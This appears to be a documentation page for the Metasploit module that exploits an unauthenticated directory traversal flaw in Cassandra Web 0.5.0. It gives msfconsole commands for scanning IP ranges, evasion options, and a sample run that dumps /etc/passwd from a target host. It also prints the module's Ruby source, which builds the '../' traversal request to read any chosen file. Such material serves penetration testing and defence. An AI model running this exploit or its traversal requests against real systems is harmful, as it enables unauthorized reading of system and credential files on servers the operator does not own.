Cassandra Web File Read Vulnerability - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/cassandra_web_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cassandra Web File Read Vulnerability
Module: auxiliary/scanner/http/cassandra_web_file_read
Source code: modules/auxiliary/scanner/http/cassandra_web_file_read.rb
Disclosure date: -
Last modification time: 2022-08-03 19:21:42 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web 'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges. This vulnerability occured due to the disabled Rack::Protection module

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/cassandra_web_file_read
msf auxiliary(cassandra_web_file_read) > show options
    ... show and set options ...
msf auxiliary(cassandra_web_file_read) > set RHOSTS ip-range
msf auxiliary(cassandra_web_file_read) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cassandra_web_file_read) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(cassandra_web_file_read) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cassandra_web_file_read) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Cassandra Web is an interface for Apache Cassandra using Ruby, Event-machine, AngularJS, Server-Sent-Events and DataStaxRuby driver for Apache Cassandra.

This module has been tested successfully on Cassandra Web versions: * cassandra-web-0.5.0 on Debian 10.11 (buster) with ruby 2.5.5p157 and Apache Cassandra 3.11.13

Description

This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web 'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges. This vulnerability occured due to the disabled Rack::Protection module.

This web service listens on TCP port 3000 by default on all network interface.

Source and Installers: * Source Code Repository * Installers

Ruby installation: apt install ruby-full -y

Gem installation: gem install cassandra-web

Apache Cassandra Installation: cat << EOF > /etc/apt/sources.list.d/cassandra.list deb https://www.apache.org/dist/cassandra/debian 311x main EOF cat << EOF > /etc/apt/sources.list.d/adoptopenjdk.list deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main EOF wget -q -O - https://www.apache.org/dist/cassandra/KEYS | apt-key add - wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add - apt update && apt install adoptopenjdk-8-hotspot cassandra -y

Run Cassandra Web: cassandra-web

Verification Steps


  1. Do: use auxiliary/scanner/http/cassandra_web_file_read.rb
  2. Do: set RHOSTS [ips]
  3. Do: run

Scenarios


Cassandra Web 0.5.0 Linux Debian 10.11 (Ruby 2.5.5p157 and Apache Cassandra 3.11.13)

msf6 > use auxiliary/scanner/http/cassandra_web_file_read
msf6 auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1
msf6 auxiliary(scanner/http/cassandra_web_file_read) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cassandra Web Detected
[*] Downloading file...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:107:115::/nonexistent:/usr/sbin/nologin
cassandra:x:108:116:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin


[+] File saved in: /home/git/.msf4/loot/20220802185716_default_192.168.56.1_cassandra.web.tr_160962.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/cassandra_web_file_read auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/cassandra_web_file_read

msf6 auxiliary(scanner/http/cassandra_web_file_read) > show info

       Name: Cassandra Web File Read Vulnerability
     Module: auxiliary/scanner/http/cassandra_web_file_read
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Jeremy Brown
  krastanoel

Module stability:
 crash-safe

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DEPTH     8                yes       Traversal Depth (to reach the root folder)
  FILEPATH  /etc/passwd      yes       The path to the file to read
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     3000             yes       The Cassandra Web port (default: 3000)
  SSL       false            no        Negotiate SSL/TLS for outgoing connections
  THREADS   1                yes       The number of concurrent threads (max one per host)
  VHOST                      no        HTTP server virtual host

Description:
  This module exploits an unauthenticated directory traversal 
  vulnerability in Cassandra Web 'Cassandra Web' version 0.5.0 and 
  earlier, allowing arbitrary file read with the web server 
  privileges. This vulnerability occured due to the disabled 
  Rack::Protection module

References:
  https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be
  https://www.exploit-db.com/exploits/49362

Module Options


This is a complete list of options available in the scanner/http/cassandra_web_file_read auxiliary module:

msf6 auxiliary(scanner/http/cassandra_web_file_read) > show options

Module options (auxiliary/scanner/http/cassandra_web_file_read):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DEPTH     8                yes       Traversal Depth (to reach the root folder)
   FILEPATH  /etc/passwd      yes       The path to the file to read
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     3000             yes       The Cassandra Web port (default: 3000)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   THREADS   1                yes       The number of concurrent threads (max one per host)
   VHOST                      no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/cassandra_web_file_read auxiliary module:

msf6 auxiliary(scanner/http/cassandra_web_file_read) > show advanced

Module advanced options (auxiliary/scanner/http/cassandra_web_file_read):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   AutoCheck                true                                   no        Run check before exploit
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   ForceExploit             false                                  no        Override check result
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   ShowProgress             true                                   yes       Display progress messages during a scan
   ShowProgressPercent      10                                     yes       The interval in percent that progress should be shown
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   VERBOSE                  false                                  no        Enable detailed status messages
   WORKSPACE                                                       no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/cassandra_web_file_read module can do:

msf6 auxiliary(scanner/http/cassandra_web_file_read) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/cassandra_web_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/cassandra_web_file_read) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response from the web service


Here is a relevant code snippet related to the "No response from the web service" error message:

49:	    res = send_request_cgi({
50:	      'method' => 'GET',
51:	      'uri' => normalize_uri(target_uri.path, '/')
52:	    })
53:	
54:	    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
55:	    return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
56:	
57:	    if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
58:	      return Exploit::CheckCode::Appears('Cassandra Web Detected')
59:	    else

Target is not a Cassandra Web server


Here is a relevant code snippet related to the "Target is not a Cassandra Web server" error message:

50:	      'method' => 'GET',
51:	      'uri' => normalize_uri(target_uri.path, '/')
52:	    })
53:	
54:	    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
55:	    return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
56:	
57:	    if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
58:	      return Exploit::CheckCode::Appears('Cassandra Web Detected')
59:	    else
60:	      return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')

Cassandra Web Detected


Here is a relevant code snippet related to the "Cassandra Web Detected" error message:

53:	
54:	    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
55:	    return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
56:	
57:	    if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
58:	      return Exploit::CheckCode::Appears('Cassandra Web Detected')
59:	    else
60:	      return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')
61:	    end
62:	  rescue ::Rex::ConnectionError
63:	    return Exploit::CheckCode::Unknown('Could not connect to the web service')

Target is not a Cassandra Web server


Here is a relevant code snippet related to the "Target is not a Cassandra Web server" error message:

55:	    return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
56:	
57:	    if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
58:	      return Exploit::CheckCode::Appears('Cassandra Web Detected')
59:	    else
60:	      return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')
61:	    end
62:	  rescue ::Rex::ConnectionError
63:	    return Exploit::CheckCode::Unknown('Could not connect to the web service')
64:	  end
65:	

Could not connect to the web service


Here is a relevant code snippet related to the "Could not connect to the web service" error message:

58:	      return Exploit::CheckCode::Appears('Cassandra Web Detected')
59:	    else
60:	      return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')
61:	    end
62:	  rescue ::Rex::ConnectionError
63:	    return Exploit::CheckCode::Unknown('Could not connect to the web service')
64:	  end
65:	
66:	  def run_host(ip)
67:	    traversal = '../' * datastore['DEPTH']
68:	    filename = datastore['FILEPATH']

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

71:	    res = send_request_cgi({
72:	      'method' => 'GET',
73:	      'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")
74:	    })
75:	
76:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
77:	    fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 200
78:	    fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')
79:	
80:	    print_status('Downloading file...')
81:	    print_line("\n#{res.body}\n")

Connection failed. Nothing was downloaded


Here is a relevant code snippet related to the "Connection failed. Nothing was downloaded" error message:

72:	      'method' => 'GET',
73:	      'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")
74:	    })
75:	
76:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
77:	    fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 200
78:	    fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')
79:	
80:	    print_status('Downloading file...')
81:	    print_line("\n#{res.body}\n")
82:	

Nothing was downloaded. Change the DEPTH parameter


Here is a relevant code snippet related to the "Nothing was downloaded. Change the DEPTH parameter" error message:

73:	      'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")
74:	    })
75:	
76:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
77:	    fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 200
78:	    fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')
79:	
80:	    print_status('Downloading file...')
81:	    print_line("\n#{res.body}\n")
82:	
83:	    fname = datastore['FILEPATH']

<PEER> - Could not connect to the web service


Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:

86:	      'cassandra.web.traversal',
87:	      'text/plain',
88:	      ip,
89:	      res.body,
90:	      fname
91:	    )
92:	    print_good("File saved in: #{path}")
93:	  rescue ::Rex::ConnectionError
94:	    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
95:	  end
96:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Jeremy Brown
  • krastanoel

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.